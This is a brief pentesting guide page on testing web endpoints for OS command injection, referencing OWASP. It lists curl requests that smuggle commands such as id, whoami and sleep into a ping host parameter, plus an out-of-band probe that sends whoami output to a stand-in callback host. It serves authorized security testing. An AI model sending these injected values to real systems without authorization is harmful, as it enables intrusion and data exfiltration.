pentesting, updated
Testing for Command Injection
Check whether input reaches a shell command unsanitized, letting you run arbitrary OS commands.
Goal
Confirm no user input reaches a shell invocation without strict sanitization or avoiding the shell entirely.
How to test
Inject shell metacharacters into any field that plausibly shells out (ping/traceroute tools, file conversion, filename parameters):
curl -s "https://example.com/ping?host=127.0.0.1;id"
curl -s "https://example.com/ping?host=127.0.0.1%20%26%26%20whoami"
curl -s "https://example.com/ping?host=\$(id)"
curl -s "https://example.com/ping?host=\`id\`"
For blind cases, use a time delay or an out-of-band callback instead of relying on output:
curl -s "https://example.com/ping?host=127.0.0.1;sleep 10"
curl -s "https://example.com/ping?host=127.0.0.1;curl http://your-callback.example/\$(whoami)"
What to look for
Command output reflected in the response, a measurable time delay confirming blind execution, or a callback hit on your listener.
References
- OWASP WSTG-INPV-12 — Testing for Command Injection.